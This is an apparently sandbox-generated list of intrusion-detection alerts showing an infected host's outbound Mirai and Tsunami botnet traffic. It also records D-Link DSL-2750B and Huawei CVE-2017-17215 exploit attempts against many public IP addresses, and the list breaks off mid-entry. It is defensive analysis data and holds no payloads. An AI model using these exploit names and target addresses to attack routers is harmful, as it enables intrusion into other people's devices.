ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.163.67.231

Timestamp:	192.168.2.2382.163.67.23150856802846380 10/23/22-17:58:06.232008
SID:	2846380
Source Port:	50856
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.106.200.71

Timestamp:	192.168.2.2389.106.200.7137496802846457 10/23/22-17:57:41.163628
SID:	2846457
Source Port:	37496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.19.151.135

Timestamp:	192.168.2.232.19.151.13534012802846457 10/23/22-17:57:20.946574
SID:	2846457
Source Port:	34012
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.190.73.215

Timestamp:	192.168.2.235.190.73.21537404802846457 10/23/22-17:57:46.324510
SID:	2846457
Source Port:	37404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.15.83

Timestamp:	192.168.2.2388.99.15.8346436802027121 10/23/22-17:56:51.012002
SID:	2027121
Source Port:	46436
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 79.118.143.157

Timestamp:	192.168.2.2379.118.143.15746958802835221 10/23/22-17:57:07.465546
SID:	2835221
Source Port:	46958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.70.194.64

Timestamp:	192.168.2.2395.70.194.6449750802027121 10/23/22-17:56:58.434241
SID:	2027121
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.188.241.146

Timestamp:	192.168.2.23200.188.241.14644786802846380 10/23/22-17:58:09.688025
SID:	2846380
Source Port:	44786
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.108.249.96

Timestamp:	192.168.2.23213.108.249.9655778802846380 10/23/22-17:57:48.551671
SID:	2846380
Source Port:	55778
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.129.107.36

Timestamp:	192.168.2.2395.129.107.3648562802027121 10/23/22-17:57:38.630374
SID:	2027121
Source Port:	48562
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.183.133.188

Timestamp:	192.168.2.23178.183.133.18837906802846380 10/23/22-17:58:27.333501
SID:	2846380
Source Port:	37906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.12.185.184

Timestamp:	192.168.2.23178.12.185.18435168802846380 10/23/22-17:56:58.275907
SID:	2846380
Source Port:	35168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.17.6.98

Timestamp:	192.168.2.2346.17.6.9857472802846457 10/23/22-17:58:05.442861
SID:	2846457
Source Port:	57472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.230.66.230

Timestamp:	192.168.2.2341.230.66.23041250372152835222 10/23/22-17:57:33.709636
SID:	2835222
Source Port:	41250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.61.246.102

Timestamp:	192.168.2.2395.61.246.10259560802027121 10/23/22-17:57:56.453122
SID:	2027121
Source Port:	59560
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.241.118.185

Timestamp:	192.168.2.23156.241.118.18548470802841623 10/23/22-17:57:31.972792
SID:	2841623
Source Port:	48470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.154.228.177

Timestamp:	192.168.2.2395.154.228.17756888802027121 10/23/22-17:58:07.315986
SID:	2027121
Source Port:	56888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.58.140

Timestamp:	192.168.2.2395.101.58.14052542802027121 10/23/22-17:56:53.276555
SID:	2027121
Source Port:	52542
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.148.234

Timestamp:	192.168.2.2395.216.148.23446042802027121 10/23/22-17:58:27.444277
SID:	2027121
Source Port:	46042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.9.77.59

Timestamp:	192.168.2.2395.9.77.5956230802027121 10/23/22-17:57:21.077046
SID:	2027121
Source Port:	56230
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.144.163.183

Timestamp:	192.168.2.23192.144.163.18360784802841623 10/23/22-17:58:03.707662
SID:	2841623
Source Port:	60784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.47.56.52

Timestamp:	192.168.2.2389.47.56.5233112802846457 10/23/22-17:58:07.871806
SID:	2846457
Source Port:	33112
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.245.217.82

Timestamp:	192.168.2.2386.245.217.8242670802846380 10/23/22-17:58:35.727279
SID:	2846380
Source Port:	42670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.82.122.180

Timestamp:	192.168.2.2380.82.122.18033538802846457 10/23/22-17:56:52.718010
SID:	2846457
Source Port:	33538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.194.163

Timestamp:	192.168.2.2395.216.194.16335948802027121 10/23/22-17:57:23.604253
SID:	2027121
Source Port:	35948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.78.116.148

Timestamp:	192.168.2.23206.78.116.14839206802846380 10/23/22-17:57:40.734862
SID:	2846380
Source Port:	39206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.133.224.133

Timestamp:	192.168.2.23213.133.224.13333140802846380 10/23/22-17:56:58.132191
SID:	2846380
Source Port:	33140
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.139.84.139

Timestamp:	192.168.2.23213.139.84.13934884802846380 10/23/22-17:57:54.130896
SID:	2846380
Source Port:	34884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.221.164

Timestamp:	192.168.2.2388.221.221.16433512802027121 10/23/22-17:58:05.162720
SID:	2027121
Source Port:	33512
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.254.117.185

Timestamp:	192.168.2.23178.254.117.18558668802846380 10/23/22-17:58:27.251690
SID:	2846380
Source Port:	58668
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.89.4.42

Timestamp:	192.168.2.2395.89.4.4241694802027121 10/23/22-17:58:12.771738
SID:	2027121
Source Port:	41694
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.129.205.108

Timestamp:	192.168.2.2395.129.205.10849678802027121 10/23/22-17:58:30.352051
SID:	2027121
Source Port:	49678
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 66.39.4.27

Timestamp:	192.168.2.2366.39.4.2742812802835221 10/23/22-17:58:39.367963
SID:	2835221
Source Port:	42812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.4.212.105

Timestamp:	192.168.2.23122.4.212.10541990802846457 10/23/22-17:58:15.321404
SID:	2846457
Source Port:	41990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.28.249.254

Timestamp:	192.168.2.23193.28.249.25459992802835222 10/23/22-17:57:04.344271
SID:	2835222
Source Port:	59992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.244.197.3

Timestamp:	192.168.2.23156.244.197.338410802835221 10/23/22-17:58:21.114648
SID:	2835221
Source Port:	38410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.39.252.196

Timestamp:	192.168.2.2389.39.252.19655016802846457 10/23/22-17:57:41.166469
SID:	2846457
Source Port:	55016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.152.55.2

Timestamp:	192.168.2.23213.152.55.249582802846380 10/23/22-17:58:00.630473
SID:	2846380
Source Port:	49582
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.94.8.141

Timestamp:	192.168.2.2388.94.8.14139860802027121 10/23/22-17:58:09.767578
SID:	2027121
Source Port:	39860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 103.93.233.105

Timestamp:	192.168.2.23103.93.233.10545820802835222 10/23/22-17:57:04.336595
SID:	2835222
Source Port:	45820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.21.24.176

Timestamp:	192.168.2.2382.21.24.17650304802846380 10/23/22-17:58:04.042717
SID:	2846380
Source Port:	50304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.249.246

Timestamp:	192.168.2.2395.216.249.24643308802027121 10/23/22-17:58:15.238499
SID:	2027121
Source Port:	43308
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.208.102.138

Timestamp:	192.168.2.2385.208.102.13842900802846457 10/23/22-17:58:17.723277
SID:	2846457
Source Port:	42900
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.59.51.22

Timestamp:	192.168.2.2383.59.51.2257014802846380 10/23/22-17:58:27.289965
SID:	2846380
Source Port:	57014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.61.47.203

Timestamp:	192.168.2.23200.61.47.20333058802846380 10/23/22-17:57:22.414853
SID:	2846380
Source Port:	33058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.230.101.103

Timestamp:	192.168.2.2395.230.101.10348538802027121 10/23/22-17:58:05.346267
SID:	2027121
Source Port:	48538
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 74.43.220.21

Timestamp:	192.168.2.2374.43.220.2147056802835221 10/23/22-17:58:29.395457
SID:	2835221
Source Port:	47056
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.174.237.190

Timestamp:	192.168.2.23213.174.237.19051532802846380 10/23/22-17:56:59.845508
SID:	2846380
Source Port:	51532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.78.152.28

Timestamp:	192.168.2.2323.78.152.2839192802835222 10/23/22-17:57:58.690532
SID:	2835222
Source Port:	39192
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.35.214

Timestamp:	192.168.2.23197.26.35.21458358802835222 10/23/22-17:58:16.403361
SID:	2835222
Source Port:	58358
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.82.116.138

Timestamp:	192.168.2.2380.82.116.13850362802846457 10/23/22-17:57:14.346537
SID:	2846457
Source Port:	50362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.47.156.79

Timestamp:	192.168.2.2338.47.156.7939544802841623 10/23/22-17:57:55.465892
SID:	2841623
Source Port:	39544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.202.2.67

Timestamp:	192.168.2.2337.202.2.6733052802846457 10/23/22-17:57:28.782744
SID:	2846457
Source Port:	33052
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.64.85

Timestamp:	192.168.2.2395.86.64.8551606802027121 10/23/22-17:57:56.515557
SID:	2027121
Source Port:	51606
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.90.30

Timestamp:	192.168.2.2395.101.90.3059736802027121 10/23/22-17:57:33.430831
SID:	2027121
Source Port:	59736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.145.71.235

Timestamp:	192.168.2.23200.145.71.23549414802846380 10/23/22-17:58:09.690253
SID:	2846380
Source Port:	49414
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.216.0.228

Timestamp:	192.168.2.23213.216.0.22834688802846380 10/23/22-17:58:33.195693
SID:	2846380
Source Port:	34688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.21.240.123

Timestamp:	192.168.2.232.21.240.12346444802846457 10/23/22-17:57:28.770639
SID:	2846457
Source Port:	46444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.179.120

Timestamp:	192.168.2.2395.216.179.12034398802027121 10/23/22-17:58:24.028408
SID:	2027121
Source Port:	34398
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.251.238.66

Timestamp:	192.168.2.23104.251.238.6636202802841623 10/23/22-17:57:35.552301
SID:	2841623
Source Port:	36202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.214.82.24

Timestamp:	192.168.2.23206.214.82.2459664802846380 10/23/22-17:58:39.695808
SID:	2846380
Source Port:	59664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 52.194.164.206

Timestamp:	192.168.2.2352.194.164.20645512802835221 10/23/22-17:57:07.686714
SID:	2835221
Source Port:	45512
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.36.17

Timestamp:	192.168.2.2388.99.36.1733822802027121 10/23/22-17:58:02.118646
SID:	2027121
Source Port:	33822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.17.169.200

Timestamp:	192.168.2.232.17.169.20059248802846457 10/23/22-17:57:51.051923
SID:	2846457
Source Port:	59248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.189.134.8

Timestamp:	192.168.2.235.189.134.839684802846457 10/23/22-17:56:55.096175
SID:	2846457
Source Port:	39684
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.81.145.110

Timestamp:	192.168.2.23200.81.145.11055642802846380 10/23/22-17:58:09.155306
SID:	2846380
Source Port:	55642
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.204.163.130

Timestamp:	192.168.2.2388.204.163.13051070802027121 10/23/22-17:57:02.607669
SID:	2027121
Source Port:	51070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.248.97.90

Timestamp:	192.168.2.2389.248.97.9048108802846457 10/23/22-17:57:38.022296
SID:	2846457
Source Port:	48108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.31.17.56

Timestamp:	192.168.2.2380.31.17.5649874802846457 10/23/22-17:58:26.510943
SID:	2846457
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.210.111.254

Timestamp:	192.168.2.23206.210.111.25441284802846380 10/23/22-17:58:36.878015
SID:	2846380
Source Port:	41284
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.161.241.152

Timestamp:	192.168.2.2389.161.241.15233598802846457 10/23/22-17:57:38.016631
SID:	2846457
Source Port:	33598
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.158.104.197

Timestamp:	192.168.2.2389.158.104.19756618802846457 10/23/22-17:57:38.026305
SID:	2846457
Source Port:	56618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.32.131.24

Timestamp:	192.168.2.2372.32.131.2447166802841623 10/23/22-17:57:11.261983
SID:	2841623
Source Port:	47166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.107.208.180

Timestamp:	192.168.2.2395.107.208.18041452802027121 10/23/22-17:57:21.052771
SID:	2027121
Source Port:	41452
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.65.51.204

Timestamp:	192.168.2.2395.65.51.20445258802027121 10/23/22-17:57:13.026267
SID:	2027121
Source Port:	45258
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.184.177

Timestamp:	192.168.2.2395.100.184.17750644802027121 10/23/22-17:56:53.267528
SID:	2027121
Source Port:	50644
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.53.139.114

Timestamp:	192.168.2.23200.53.139.11446620802846380 10/23/22-17:57:13.964930
SID:	2846380
Source Port:	46620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.123.118.140

Timestamp:	192.168.2.23206.123.118.14037914802846380 10/23/22-17:57:40.679711
SID:	2846380
Source Port:	37914
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.92.129.100

Timestamp:	192.168.2.2391.92.129.10059522802841623 10/23/22-17:57:57.973921
SID:	2841623
Source Port:	59522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.229.201.79

Timestamp:	192.168.2.23156.229.201.7949602802841623 10/23/22-17:58:11.633000
SID:	2841623
Source Port:	49602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.123.49.201

Timestamp:	192.168.2.2386.123.49.20149264802846380 10/23/22-17:58:19.952008
SID:	2846380
Source Port:	49264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.214.9.31

Timestamp:	192.168.2.23181.214.9.3141092802846380 10/23/22-17:56:55.612964
SID:	2846380
Source Port:	41092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.201.143

Timestamp:	192.168.2.2388.221.201.14334814802027121 10/23/22-17:58:17.358396
SID:	2027121
Source Port:	34814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.32.16.99

Timestamp:	192.168.2.23213.32.16.9953078802846380 10/23/22-17:58:33.195816
SID:	2846380
Source Port:	53078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.14.70

Timestamp:	192.168.2.2395.101.14.7040732802027121 10/23/22-17:56:58.439299
SID:	2027121
Source Port:	40732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.19.132.99

Timestamp:	192.168.2.232.19.132.9958388802846457 10/23/22-17:57:07.232331
SID:	2846457
Source Port:	58388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.201.23.56

Timestamp:	192.168.2.23195.201.23.5638570802846457 10/23/22-17:58:30.729268
SID:	2846457
Source Port:	38570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.112.181.219

Timestamp:	192.168.2.23213.112.181.21934426802846380 10/23/22-17:56:49.792313
SID:	2846380
Source Port:	34426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.242.132.81

Timestamp:	192.168.2.23156.242.132.8155596802841623 10/23/22-17:58:37.853344
SID:	2841623
Source Port:	55596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.53.110

Timestamp:	192.168.2.2395.216.53.11044988802027121 10/23/22-17:57:28.459897
SID:	2027121
Source Port:	44988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.29.194.241

Timestamp:	192.168.2.2389.29.194.24133250802846457 10/23/22-17:58:32.905329
SID:	2846457
Source Port:	33250
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.181.187.254

Timestamp:	192.168.2.23168.181.187.25454136802841623 10/23/22-17:57:16.449081
SID:	2841623
Source Port:	54136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.33.237.149

